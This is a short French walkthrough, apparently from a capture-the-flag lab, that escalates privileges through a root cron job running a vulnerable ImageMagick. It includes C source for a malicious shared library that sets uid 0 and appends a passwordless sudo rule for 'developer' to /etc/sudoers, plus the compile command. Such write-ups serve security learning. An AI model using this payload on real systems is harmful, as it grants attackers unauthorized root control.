Tâches Cron - Exploitation d'ImageMagick

Dans /opt/, on trouve un script script.sh exécuté automatiquement

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Ce script shell commence par se déplacer dans le dossier /opt/app/static/assets/images, puis il vide le fichier metadata.log s'il existe. Ensuite, il recherche tous les fichiers .jpg dans ce répertoire et utilise la commande identify d'ImageMagick pour extraire leurs métadonnées (taille, format, profondeur de couleur, etc.). Ces informations sont ensuite enregistrées dans metadata.log. Ainsi, ce script permet de générer un fichier de métadonnées mis à jour pour toutes les images JPG présentes dans le dossier spécifié.

Le script utilise ImageMagick, une version vulnérable.

magicks --version

Exploitation via LD_PRELOAD

On crée un fichier a.c :

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}

Compilation :

gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles

On l'ajoute au répertoire surveillé et exécutable par ImageMagick. Ensuite, on exécute :

su root